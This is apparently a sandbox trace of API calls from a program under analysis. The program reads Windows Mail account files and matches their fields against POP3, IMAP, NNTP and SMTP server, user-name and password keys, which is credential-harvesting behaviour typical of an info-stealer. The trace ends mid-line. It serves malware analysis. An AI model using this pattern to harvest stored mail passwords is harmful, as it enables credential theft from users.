[0063.381] ??2@YAPAXI@Z () returned 0x4afd88 [0063.381] ??2@YAPAXI@Z () returned 0x4afdb0 [0063.381] ??2@YAPAXI@Z () returned 0x4afdd8 [0063.381] ??2@YAPAXI@Z () returned 0x4afdf8 [0063.381] ??2@YAPAXI@Z () returned 0x4afe18 [0063.381] strlen (_Str="\r\n\r\n Microsoft Communities\r\n d1b457f62689cb01\r\n 00000003\r\n msnews.microsoft.com\r\n\r\n") returned 0x14f [0063.381] ??2@YAPAXI@Z () returned 0x4afe38 [0063.381] free (_Block=0x0) [0063.381] free (_Block=0x0) [0063.381] free (_Block=0x0) [0063.381] free (_Block=0x0) [0063.381] malloc (_Size=0x100) returned 0x1be4c68 [0063.381] strlen (_Str="version") returned 0x7 [0063.381] malloc (_Size=0x2000) returned 0x1be4d70 [0063.381] malloc (_Size=0x400) returned 0x1be6d78 [0063.381] malloc (_Size=0x100) returned 0x1be7180 [0063.381] strlen (_Str="1.0") returned 0x3 [0063.381] malloc (_Size=0x2000) returned 0x1be7288 [0063.381] malloc (_Size=0x400) returned 0x1be9290 [0063.381] strlen (_Str="encoding") returned 0x8 [0063.381] strlen (_Str="utf-16") returned 0x6 [0063.382] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8 [0063.382] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8 [0063.382] strlen (_Str="type") returned 0x4 [0063.382] strlen (_Str="SZ") returned 0x2 [0063.382] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8 [0063.382] malloc (_Size=0x100) returned 0x1be9698 [0063.382] strcmp (_Str1="Account_Name", _Str2="Account_Name") returned 0 [0063.382] strlen (_Str="Microsoft Communities") returned 0x15 [0063.382] strlen (_Str="Microsoft Communities") returned 0x15 [0063.382] strcmp (_Str1="Account_Name", _Str2="POP3_Server") returned -1 [0063.382] strcmp (_Str1="Account_Name", _Str2="IMAP_Server") returned -1 [0063.382] strcmp (_Str1="Account_Name", _Str2="NNTP_Server") returned -1 [0063.382] strcmp (_Str1="Account_Name", _Str2="SMTP_Server") returned -1 [0063.382] strcmp (_Str1="Account_Name", _Str2="POP3_User_Name") returned -1 [0063.382] strcmp (_Str1="Account_Name", _Str2="IMAP_User_Name") returned -1 [0063.382] strcmp (_Str1="Account_Name", _Str2="NNTP_User_Name") returned -1 [0063.382] strcmp (_Str1="Account_Name", _Str2="SMTP_User_Name") returned -1 [0063.382] strcmp (_Str1="Account_Name", _Str2="POP3_Password2") returned -1 [0063.382] strcmp (_Str1="Account_Name", _Str2="IMAP_Password2") returned -1 [0063.382] strcmp (_Str1="Account_Name", _Str2="NNTP_Password2") returned -1 [0063.382] strcmp (_Str1="Account_Name", _Str2="SMTP_Password2") returned -1 [0063.382] strcmp (_Str1="Account_Name", _Str2="NNTP_Email_Address") returned -1 [0063.382] strcmp (_Str1="Account_Name", _Str2="SMTP_Email_Address") returned -1 [0063.382] _strcmpi (_Str1="Account_Name", _Str2="SMTP_Port") returned -1 [0063.382] _strcmpi (_Str1="Account_Name", _Str2="NNTP_Port") returned -1 [0063.382] _strcmpi (_Str1="Account_Name", _Str2="IMAP_Port") returned -1 [0063.382] _strcmpi (_Str1="Account_Name", _Str2="POP3_Port") returned -1 [0063.382] _strcmpi (_Str1="Account_Name", _Str2="SMTP_Secure_Connection") returned -1 [0063.382] _strcmpi (_Str1="Account_Name", _Str2="NNTP_Secure_Connection") returned -1 [0063.382] _strcmpi (_Str1="Account_Name", _Str2="IMAP_Secure_Connection") returned -1 [0063.382] _strcmpi (_Str1="Account_Name", _Str2="POP3_Secure_Connection") returned -1 [0063.382] strlen (_Str="type") returned 0x4 [0063.382] strlen (_Str="BINARY") returned 0x6 [0063.382] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8 [0063.382] strcmp (_Str1="Last_Updated", _Str2="Account_Name") returned 1 [0063.383] strcmp (_Str1="Last_Updated", _Str2="POP3_Server") returned -1 [0063.383] strcmp (_Str1="Last_Updated", _Str2="IMAP_Server") returned 1 [0063.383] strcmp (_Str1="Last_Updated", _Str2="NNTP_Server") returned -1 [0063.383] strcmp (_Str1="Last_Updated", _Str2="SMTP_Server") returned -1 [0063.383] strcmp (_Str1="Last_Updated", _Str2="POP3_User_Name") returned -1 [0063.383] strcmp (_Str1="Last_Updated", _Str2="IMAP_User_Name") returned 1 [0063.383] strcmp (_Str1="Last_Updated", _Str2="NNTP_User_Name") returned -1 [0063.383] strcmp (_Str1="Last_Updated", _Str2="SMTP_User_Name") returned -1 [0063.383] strcmp (_Str1="Last_Updated", _Str2="POP3_Password2") returned -1 [0063.383] strcmp (_Str1="Last_Updated", _Str2="IMAP_Password2") returned 1 [0063.383] strcmp (_Str1="Last_Updated", _Str2="NNTP_Password2") returned -1 [0063.383] strcmp (_Str1="Last_Updated", _Str2="SMTP_Password2") returned -1 [0063.383] strcmp (_Str1="Last_Updated", _Str2="NNTP_Email_Address") returned -1 [0063.383] strcmp (_Str1="Last_Updated", _Str2="SMTP_Email_Address") returned -1 [0063.383] _strcmpi (_Str1="Last_Updated", _Str2="SMTP_Port") returned -1 [0063.383] _strcmpi (_Str1="Last_Updated", _Str2="NNTP_Port") returned -1 [0063.383] _strcmpi (_Str1="Last_Updated", _Str2="IMAP_Port") returned 1 [0063.383] _strcmpi (_Str1="Last_Updated", _Str2="POP3_Port") returned -1 [0063.383] _strcmpi (_Str1="Last_Updated", _Str2="SMTP_Secure_Connection") returned -1 [0063.383] _strcmpi (_Str1="Last_Updated", _Str2="NNTP_Secure_Connection") returned -1 [0063.383] _strcmpi (_Str1="Last_Updated", _Str2="IMAP_Secure_Connection") returned 1 [0063.383] _strcmpi (_Str1="Last_Updated", _Str2="POP3_Secure_Connection") returned -1 [0063.383] strlen (_Str="type") returned 0x4 [0063.383] strlen (_Str="DWORD") returned 0x5 [0063.383] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8 [0063.383] strcmp (_Str1="Connection_Type", _Str2="Account_Name") returned 1 [0063.383] strcmp (_Str1="Connection_Type", _Str2="POP3_Server") returned -1 [0063.383] strcmp (_Str1="Connection_Type", _Str2="IMAP_Server") returned -1 [0063.383] strcmp (_Str1="Connection_Type", _Str2="NNTP_Server") returned -1 [0063.383] strcmp (_Str1="Connection_Type", _Str2="SMTP_Server") returned -1 [0063.383] strcmp (_Str1="Connection_Type", _Str2="POP3_User_Name") returned -1 [0063.383] strcmp (_Str1="Connection_Type", _Str2="IMAP_User_Name") returned -1 [0063.383] strcmp (_Str1="Connection_Type", _Str2="NNTP_User_Name") returned -1 [0063.383] strcmp (_Str1="Connection_Type", _Str2="SMTP_User_Name") returned -1 [0063.383] strcmp (_Str1="Connection_Type", _Str2="POP3_Password2") returned -1 [0063.383] strcmp (_Str1="Connection_Type", _Str2="IMAP_Password2") returned -1 [0063.383] strcmp (_Str1="Connection_Type", _Str2="NNTP_Password2") returned -1 [0063.383] strcmp (_Str1="Connection_Type", _Str2="SMTP_Password2") returned -1 [0063.383] strcmp (_Str1="Connection_Type", _Str2="NNTP_Email_Address") returned -1 [0063.384] strcmp (_Str1="Connection_Type", _Str2="SMTP_Email_Address") returned -1 [0063.384] _strcmpi (_Str1="Connection_Type", _Str2="SMTP_Port") returned -1 [0063.384] _strcmpi (_Str1="Connection_Type", _Str2="NNTP_Port") returned -1 [0063.384] _strcmpi (_Str1="Connection_Type", _Str2="IMAP_Port") returned -1 [0063.384] _strcmpi (_Str1="Connection_Type", _Str2="POP3_Port") returned -1 [0063.384] _strcmpi (_Str1="Connection_Type", _Str2="SMTP_Secure_Connection") returned -1 [0063.384] _strcmpi (_Str1="Connection_Type", _Str2="NNTP_Secure_Connection") returned -1 [0063.384] _strcmpi (_Str1="Connection_Type", _Str2="IMAP_Secure_Connection") returned -1 [0063.384] _strcmpi (_Str1="Connection_Type", _Str2="POP3_Secure_Connection") returned -1 [0063.384] strlen (_Str="type") returned 0x4 [0063.384] strlen (_Str="SZ") returned 0x2 [0063.384] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8 [0063.384] strcmp (_Str1="NNTP_Server", _Str2="Account_Name") returned 1 [0063.384] strcmp (_Str1="NNTP_Server", _Str2="POP3_Server") returned -1 [0063.384] strcmp (_Str1="NNTP_Server", _Str2="IMAP_Server") returned 1 [0063.384] strcmp (_Str1="NNTP_Server", _Str2="NNTP_Server") returned 0 [0063.384] strlen (_Str="msnews.microsoft.com") returned 0x14 [0063.384] strcmp (_Str1="NNTP_Server", _Str2="SMTP_Server") returned -1 [0063.384] strcmp (_Str1="NNTP_Server", _Str2="POP3_User_Name") returned -1 [0063.384] strcmp (_Str1="NNTP_Server", _Str2="IMAP_User_Name") returned 1 [0063.384] strcmp (_Str1="NNTP_Server", _Str2="NNTP_User_Name") returned -1 [0063.384] strcmp (_Str1="NNTP_Server", _Str2="SMTP_User_Name") returned -1 [0063.384] strcmp (_Str1="NNTP_Server", _Str2="POP3_Password2") returned -1 [0063.384] strcmp (_Str1="NNTP_Server", _Str2="IMAP_Password2") returned 1 [0063.384] strcmp (_Str1="NNTP_Server", _Str2="NNTP_Password2") returned 1 [0063.384] strcmp (_Str1="NNTP_Server", _Str2="SMTP_Password2") returned -1 [0063.384] strcmp (_Str1="NNTP_Server", _Str2="NNTP_Email_Address") returned 1 [0063.384] strcmp (_Str1="NNTP_Server", _Str2="SMTP_Email_Address") returned -1 [0063.384] _strcmpi (_Str1="NNTP_Server", _Str2="SMTP_Port") returned -1 [0063.384] _strcmpi (_Str1="NNTP_Server", _Str2="NNTP_Port") returned 1 [0063.384] _strcmpi (_Str1="NNTP_Server", _Str2="IMAP_Port") returned 1 [0063.384] _strcmpi (_Str1="NNTP_Server", _Str2="POP3_Port") returned -1 [0063.384] _strcmpi (_Str1="NNTP_Server", _Str2="SMTP_Secure_Connection") returned -1 [0063.384] _strcmpi (_Str1="NNTP_Server", _Str2="NNTP_Secure_Connection") returned 1 [0063.384] _strcmpi (_Str1="NNTP_Server", _Str2="IMAP_Secure_Connection") returned 1 [0063.384] _strcmpi (_Str1="NNTP_Server", _Str2="POP3_Secure_Connection") returned -1 [0063.384] ??3@YAXPAX@Z () returned 0x1 [0063.384] ??3@YAXPAX@Z () returned 0x1 [0063.384] free (_Block=0x1be9698) [0063.385] ??3@YAXPAX@Z () returned 0x1 [0063.385] free (_Block=0x1be7180) [0063.385] ??3@YAXPAX@Z () returned 0x1 [0063.385] free (_Block=0x1be4c68) [0063.385] ??3@YAXPAX@Z () returned 0x1 [0063.385] free (_Block=0x1be7288) [0063.385] free (_Block=0x1be9290) [0063.385] ??3@YAXPAX@Z () returned 0x1 [0063.385] free (_Block=0x1be4d70) [0063.385] free (_Block=0x1be6d78) [0063.385] ??3@YAXPAX@Z () returned 0x1 [0063.385] ??3@YAXPAX@Z () returned 0x1 [0063.385] CloseHandle (hObject=0x104) returned 1 [0063.385] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18eea8 | out: lpFindFileData=0x18eea8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67b6975, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x0, dwReserved1=0x26c100, cFileName="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", cAlternateFileName="ACCOUN~1.OEA")) returned 1 [0063.385] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.385] strlen (_Str="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount") returned 0x37 [0063.385] _mbscpy (in: param_1=0x18efe8, param_2=0x18f12c | out: param_1=0x18efe8) returned 0x18efe8 [0063.385] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.385] _mbscat (in: param_1=0x18efe8, param_2=0x413078 | out: param_1=0x18efe8) returned 0x18efe8 [0063.385] _mbscat (in: param_1=0x18efe8, param_2=0x18eed4 | out: param_1=0x18efe8) returned 0x18efe8 [0063.385] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\account{af0db737-2ef9-4633-bf5e-1a6761ed1577}.oeaccount"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x104 [0063.386] GetFileSize (in: hFile=0x104, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x6c8 [0063.386] ??2@YAPAXI@Z () returned 0x1be4c68 [0063.386] SetFilePointer (in: hFile=0x104, lDistanceToMove=2, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2 [0063.386] ReadFile (in: hFile=0x104, lpBuffer=0x1be4c68, nNumberOfBytesToRead=0x6c6, lpNumberOfBytesRead=0x18ed24, lpOverlapped=0x0 | out: lpBuffer=0x1be4c68*, lpNumberOfBytesRead=0x18ed24*=0x6c6, lpOverlapped=0x0) returned 1 [0063.387] wcslen (_String="\r\n\r\n 00000000\r\n Active Directory\r\n NULL\r\n 00000064\r\n 0000003c\r\n 00000002\r\n 00000000\r\n 00000000\r\n 00000cc4\r\n 00000001\r\n 00000000\r\n NULL\r\n NULL\r\n\r\n") returned 0x363 [0063.387] ??2@YAPAXI@Z () returned 0x4af980 [0063.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\r\n\r\n 00000000\r\n Active Directory\r\n NULL\r\n 00000064\r\n 0000003c\r\n 00000002\r\n 00000000\r\n 00000000\r\n 00000cc4\r\n 00000001\r\n 00000000\r\n NULL\r\n NULL\r\n\r\n", cchWideChar=-1, lpMultiByteStr=0x4af980, cbMultiByte=868, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n\r\n 00000000\r\n Active Directory\r\n NULL\r\n 00000064\r\n 0000003c\r\n 00000002\r\n 00000000\r\n 00000000\r\n 00000cc4\r\n 00000001\r\n 00000000\r\n NULL\r\n NULL\r\n\r\n", lpUsedDefaultChar=0x0) returned 868 [0063.387] ??2@YAPAXI@Z () returned 0x4afcf0 [0063.387] ??2@YAPAXI@Z () returned 0x4afd18 [0063.387] ??2@YAPAXI@Z () returned 0x4afd40 [0063.387] ??2@YAPAXI@Z () returned 0x4afd60 [0063.387] ??2@YAPAXI@Z () returned 0x4afd80 [0063.387] strlen (_Str="\r\n\r\n 00000000\r\n Active Directory\r\n NULL\r\n 00000064\r\n 0000003c\r\n 00000002\r\n 00000000\r\n 00000000\r\n 00000cc4\r\n 00000001\r\n 00000000\r\n NULL\r\n NULL\r\n\r\n") returned 0x363 [0063.387] ??2@YAPAXI@Z () returned 0x1be5340 [0063.387] free (_Block=0x0) [0063.387] free (_Block=0x0) [0063.387] free (_Block=0x0) [0063.387] free (_Block=0x0) [0063.388] malloc (_Size=0x100) returned 0x4afda0 [0063.388] strlen (_Str="version") returned 0x7 [0063.388] malloc (_Size=0x2000) returned 0x1be56b0 [0063.388] malloc (_Size=0x400) returned 0x1be76b8 [0063.388] malloc (_Size=0x100) returned 0x4afea8 [0063.388] strlen (_Str="1.0") returned 0x3 [0063.388] malloc (_Size=0x2000) returned 0x1be7ac0 [0063.388] malloc (_Size=0x400) returned 0x1be9ac8 [0063.388] strlen (_Str="encoding") returned 0x8 [0063.388] strlen (_Str="utf-16") returned 0x6 [0063.388] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8 [0063.388] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8 [0063.388] strlen (_Str="type") returned 0x4 [0063.388] strlen (_Str="DWORD") returned 0x5 [0063.388] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8 [0063.388] malloc (_Size=0x100) returned 0x1be9ed0 [0063.388] strcmp (_Str1="LDAP_Server_ID", _Str2="Account_Name") returned 1 [0063.388] strcmp (_Str1="LDAP_Server_ID", _Str2="POP3_Server") returned -1 [0063.388] strcmp (_Str1="LDAP_Server_ID", _Str2="IMAP_Server") returned 1 [0063.388] strcmp (_Str1="LDAP_Server_ID", _Str2="NNTP_Server") returned -1 [0063.388] strcmp (_Str1="LDAP_Server_ID", _Str2="SMTP_Server") returned -1 [0063.388] strcmp (_Str1="LDAP_Server_ID", _Str2="POP3_User_Name") returned -1 [0063.388] strcmp (_Str1="LDAP_Server_ID", _Str2="IMAP_User_Name") returned 1 [0063.388] strcmp (_Str1="LDAP_Server_ID", _Str2="NNTP_User_Name") returned -1 [0063.388] strcmp (_Str1="LDAP_Server_ID", _Str2="SMTP_User_Name") returned -1 [0063.388] strcmp (_Str1="LDAP_Server_ID", _Str2="POP3_Password2") returned -1 [0063.388] strcmp (_Str1="LDAP_Server_ID", _Str2="IMAP_Password2") returned 1 [0063.388] strcmp (_Str1="LDAP_Server_ID", _Str2="NNTP_Password2") returned -1 [0063.388] strcmp (_Str1="LDAP_Server_ID", _Str2="SMTP_Password2") returned -1 [0063.388] strcmp (_Str1="LDAP_Server_ID", _Str2="NNTP_Email_Address") returned -1 [0063.388] strcmp (_Str1="LDAP_Server_ID", _Str2="SMTP_Email_Address") returned -1 [0063.388] _strcmpi (_Str1="LDAP_Server_ID", _Str2="SMTP_Port") returned -1 [0063.388] _strcmpi (_Str1="LDAP_Server_ID", _Str2="NNTP_Port") returned -1 [0063.388] _strcmpi (_Str1="LDAP_Server_ID", _Str2="IMAP_Port") returned 1 [0063.388] _strcmpi (_Str1="LDAP_Server_ID", _Str2="POP3_Port") returned -1 [0063.389] _strcmpi (_Str1="LDAP_Server_ID", _Str2="SMTP_Secure_Connection") returned -1 [0063.389] _strcmpi (_Str1="LDAP_Server_ID", _Str2="NNTP_Secure_Connection") returned -1 [0063.389] _strcmpi (_Str1="LDAP_Server_ID", _Str2="IMAP_Secure_Connection") returned 1 [0063.389] _strcmpi (_Str1="LDAP_Server_ID", _Str2="POP3_Secure_Connection") returned -1 [0063.389] strlen (_Str="type") returned 0x4 [0063.389] strlen (_Str="SZ") returned 0x2 [0063.389] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8 [0063.389] strcmp (_Str1="Account_Name", _Str2="Account_Name") returned 0 [0063.389] strlen (_Str="Active Directory") returned 0x10 [0063.389] strlen (_Str="Active Directory") returned 0x10 [0063.389] strcmp (_Str1="Account_Name", _Str2="POP3_Server") returned -1 [0063.389] strcmp (_Str1="Account_Name", _Str2="IMAP_Server") returned -1 [0063.389] strcmp (_Str1="Account_Name", _Str2="NNTP_Server") returned -1 [0063.389] strcmp (_Str1="Account_Name", _Str2="SMTP_Server") returned -1 [0063.389] strcmp (_Str1="Account_Name", _Str2="POP3_User_Name") returned -1 [0063.389] strcmp (_Str1="Account_Name", _Str2="IMAP_User_Name") returned -1 [0063.389] strcmp (_Str1="Account_Name", _Str2="NNTP_User_Name") returned -1 [0063.389] strcmp (_Str1="Account_Name", _Str2="SMTP_User_Name") returned -1 [0063.389] strcmp (_Str1="Account_Name", _Str2="POP3_Password2") returned -1 [0063.389] strcmp (_Str1="Account_Name", _Str2="IMAP_Password2") returned -1 [0063.389] strcmp (_Str1="Account_Name", _Str2="NNTP_Password2") returned -1 [0063.389] strcmp (_Str1="Account_Name", _Str2="SMTP_Password2") returned -1 [0063.389] strcmp (_Str1="Account_Name", _Str2="NNTP_Email_Address") returned -1 [0063.389] strcmp (_Str1="Account_Name", _Str2="SMTP_Email_Address") returned -1 [0063.389] _strcmpi (_Str1="Account_Name", _Str2="SMTP_Port") returned -1 [0063.389] _strcmpi (_Str1="Account_Name", _Str2="NNTP_Port") returned -1 [0063.389] _strcmpi (_Str1="Account_Name", _Str2="IMAP_Port") returned -1 [0063.389] _strcmpi (_Str1="Account_Name", _Str2="POP3_Port") returned -1 [0063.389] _strcmpi (_Str1="Account_Name", _Str2="SMTP_Secure_Connection") returned -1 [0063.389] _strcmpi (_Str1="Account_Name", _Str2="NNTP_Secure_Connection") returned -1 [0063.389] _strcmpi (_Str1="Account_Name", _Str2="IMAP_Secure_Connection") returned -1 [0063.389] _strcmpi (_Str1="Account_Name", _Str2="POP3_Secure_Connection") returned -1 [0063.389] strlen (_Str="type") returned 0x4 [0063.389] strlen (_Str="SZ") returned 0x2 [0063.389] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8 [0063.389] strcmp (_Str1="LDAP_Server", _Str2="Account_Name") returned 1 [0063.390] strcmp (_Str1="LDAP_Server", _Str2="POP3_Server") returned -1 [0063.390] strcmp (_Str1="LDAP_Server", _Str2="IMAP_Server") returned 1 [0063.390] strcmp (_Str1="LDAP_Server", _Str2="NNTP_Server") returned -1 [0063.390] strcmp (_Str1="LDAP_Server", _Str2="SMTP_Server") returned -1 [0063.390] strcmp (_Str1="LDAP_Server", _Str2="POP3_User_Name") returned -1 [0063.390] strcmp (_Str1="LDAP_Server", _Str2="IMAP_User_Name") returned 1 [0063.390] strcmp (_Str1="LDAP_Server", _Str2="NNTP_User_Name") returned -1 [0063.390] strcmp (_Str1="LDAP_Server", _Str2="SMTP_User_Name") returned -1 [0063.390] strcmp (_Str1="LDAP_Server", _Str2="POP3_Password2") returned -1 [0063.390] strcmp (_Str1="LDAP_Server", _Str2="IMAP_Password2") returned 1 [0063.390] strcmp (_Str1="LDAP_Server", _Str2="NNTP_Password2") returned -1 [0063.390] strcmp (_Str1="LDAP_Server", _Str2="SMTP_Password2") returned -1 [0063.390] strcmp (_Str1="LDAP_Server", _Str2="NNTP_Email_Address") returned -1 [0063.390] strcmp (_Str1="LDAP_Server", _Str2="SMTP_Email_Address") returned -1 [0063.390] _strcmpi (_Str1="LDAP_Server", _Str2="SMTP_Port") returned -1 [0063.390] _strcmpi (_Str1="LDAP_Server", _Str2="NNTP_Port") returned -1 [0063.390] _strcmpi (_Str1="LDAP_Server", _Str2="IMAP_Port") returned 1 [0063.390] _strcmpi (_Str1="LDAP_Server", _Str2="POP3_Port") returned -1 [0063.390] _strcmpi (_Str1="LDAP_Server", _Str2="SMTP_Secure_Connection") returned -1 [0063.390] _strcmpi (_Str1="LDAP_Server", _Str2="NNTP_Secure_Connection") returned -1 [0063.390] _strcmpi (_Str1="LDAP_Server", _Str2="IMAP_Secure_Connection") returned 1 [0063.390] _strcmpi (_Str1="LDAP_Server", _Str2="POP3_Secure_Connection") returned -1 [0063.390] strlen (_Str="type") returned 0x4 [0063.390] strlen (_Str="DWORD") returned 0x5 [0063.390] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8 [0063.390] strcmp (_Str1="LDAP_Search_Return", _Str2="Account_Name") returned 1 [0063.390] strcmp (_Str1="LDAP_Search_Return", _Str2="POP3_Server") returned -1 [0063.390] strcmp (_Str1="LDAP_Search_Return", _Str2="IMAP_Server") returned 1 [0063.390] strcmp (_Str1="LDAP_Search_Return", _Str2="NNTP_Server") returned -1 [0063.390] strcmp (_Str1="LDAP_Search_Return", _Str2="SMTP_Server") returned -1 [0063.390] strcmp (_Str1="LDAP_Search_Return", _Str2="POP3_User_Name") returned -1 [0063.390] strcmp (_Str1="LDAP_Search_Return", _Str2="IMAP_User_Name") returned 1 [0063.390] strcmp (_Str1="LDAP_Search_Return", _Str2="NNTP_User_Name") returned -1 [0063.390] strcmp (_Str1="LDAP_Search_Return", _Str2="SMTP_User_Name") returned -1 [0063.390] strcmp (_Str1="LDAP_Search_Return", _Str2="POP3_Password2") returned -1 [0063.390] strcmp (_Str1="LDAP_Search_Return", _Str2="IMAP_Password2") returned 1 [0063.390] strcmp (_Str1="LDAP_Search_Return", _Str2="NNTP_Password2") returned -1 [0063.390] strcmp (_Str1="LDAP_Search_Return", _Str2="SMTP_Password2") returned -1 [0063.390] strcmp (_Str1="LDAP_Search_Return", _Str2="NNTP_Email_Address") returned -1 [0063.391] strcmp (_Str1="LDAP_Search_Return", _Str2="SMTP_Email_Address") returned -1 [0063.391] _strcmpi (_Str1="LDAP_Search_Return", _Str2="SMTP_Port") returned -1 [0063.391] _strcmpi (_Str1="LDAP_Search_Return", _Str2="NNTP_Port") returned -1 [0063.391] _strcmpi (_Str1="LDAP_Search_Return", _Str2="IMAP_Port") returned 1 [0063.391] _strcmpi (_Str1="LDAP_Search_Return", _Str2="POP3_Port") returned -1 [0063.391] _strcmpi (_Str1="LDAP_Search_Return", _Str2="SMTP_Secure_Connection") returned -1 [0063.391] _strcmpi (_Str1="LDAP_Search_Return", _Str2="NNTP_Secure_Connection") returned -1 [0063.391] _strcmpi (_Str1="LDAP_Search_Return", _Str2="IMAP_Secure_Connection") returned 1 [0063.391] _strcmpi (_Str1="LDAP_Search_Return", _Str2="POP3_Secure_Connection") returned -1 [0063.391] strlen (_Str="type") returned 0x4 [0063.391] strlen (_Str="DWORD") returned 0x5 [0063.391] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8 [0063.391] strcmp (_Str1="LDAP_Timeout", _Str2="Account_Name") returned 1 [0063.391] strcmp (_Str1="LDAP_Timeout", _Str2="POP3_Server") returned -1 [0063.391] strcmp (_Str1="LDAP_Timeout", _Str2="IMAP_Server") returned 1 [0063.391] strcmp (_Str1="LDAP_Timeout", _Str2="NNTP_Server") returned -1 [0063.391] strcmp (_Str1="LDAP_Timeout", _Str2="SMTP_Server") returned -1 [0063.391] strcmp (_Str1="LDAP_Timeout", _Str2="POP3_User_Name") returned -1 [0063.391] strcmp (_Str1="LDAP_Timeout", _Str2="IMAP_User_Name") returned 1 [0063.391] strcmp (_Str1="LDAP_Timeout", _Str2="NNTP_User_Name") returned -1 [0063.391] strcmp (_Str1="LDAP_Timeout", _Str2="SMTP_User_Name") returned -1 [0063.391] strcmp (_Str1="LDAP_Timeout", _Str2="POP3_Password2") returned -1 [0063.391] strcmp (_Str1="LDAP_Timeout", _Str2="IMAP_Password2") returned 1 [0063.391] strcmp (_Str1="LDAP_Timeout", _Str2="NNTP_Password2") returned -1 [0063.391] strcmp (_Str1="LDAP_Timeout", _Str2="SMTP_Password2") returned -1 [0063.391] strcmp (_Str1="LDAP_Timeout", _Str2="NNTP_Email_Address") returned -1 [0063.391] strcmp (_Str1="LDAP_Timeout", _Str2="SMTP_Email_Address") returned -1 [0063.391] _strcmpi (_Str1="LDAP_Timeout", _Str2="SMTP_Port") returned -1 [0063.391] _strcmpi (_Str1="LDAP_Timeout", _Str2="NNTP_Port") returned -1 [0063.391] _strcmpi (_Str1="LDAP_Timeout", _Str2="IMAP_Port") returned 1 [0063.391] _strcmpi (_Str1="LDAP_Timeout", _Str2="POP3_Port") returned -1 [0063.391] _strcmpi (_Str1="LDAP_Timeout", _Str2="SMTP_Secure_Connection") returned -1 [0063.391] _strcmpi (_Str1="LDAP_Timeout", _Str2="NNTP_Secure_Connection") returned -1 [0063.391] _strcmpi (_Str1="LDAP_Timeout", _Str2="IMAP_Secure_Connection") returned 1 [0063.391] _strcmpi (_Str1="LDAP_Timeout", _Str2="POP3_Secure_Connection") returned -1 [0063.391] strlen (_Str="type") returned 0x4 [0063.391] strlen (_Str="DWORD") returned 0x5 [0063.392] _mbscpy (in: param_1=0x18daf8, param_2=0x18d6d9 | out: param_1=0x18daf8) returned 0x18daf8 [0063.392] strcmp (_Str1="LDAP_Authentication", _Str2="Account_Name") returned 1 [0063.392] strcmp (_Str1="LDAP_Authentication", _Str2="POP3_Server") returned -1 [0063.392] strcmp (_Str1="LDAP_Authentication", _Str2="IMAP_Server") returned 1 [0063.392] strcmp (_Str1="LDAP_Authentication", _Str2="NNTP_Server") returned -1 [0063.392] strcmp (_Str1="LDAP_Authentication", _Str2="SMTP_Server") returned -1 [0063.392] strcmp (_Str1="LDAP_Authentication", _Str2="POP3_User_Name") returned -1 [0063.392] strcmp (_Str1="LDAP_Authentication", _Str2="IMAP_User_Name") returned 1 [0063.392] strcmp (_Str1="LDAP_Authentication", _Str2="NNTP_User_Name") returned -1 [0063.392] strcmp (_Str1="LDAP_Authentication", _Str2="SMTP_User_Name") returned -1 [0063.392] strcmp (_Str1="LDAP_Authentication", _Str2="POP3_Password2") returned -1 [0063.392] strcmp (_Str1="LDAP_Authentication", _Str2="IMAP_Password2") returned 1 [0063.392] strcmp (_Str1="LDAP_Authentication", _Str2="NNTP_Password2") returned -1 [0063.392] strcmp (_Str1="LDAP_Authentication", _Str2="SMTP_Password2") returned -1 [0063.392] strcmp (_Str1="LDAP_Authentication", _Str2="NNTP_Email_Address") returned -1 [0063.392] strcmp (_Str1="LDAP_Authentication", _Str2="SMTP_Email_Address") returned -1 [0063.392] _strcmpi (_Str1="LDAP_Authentication", _Str2="SMTP_Port") returned 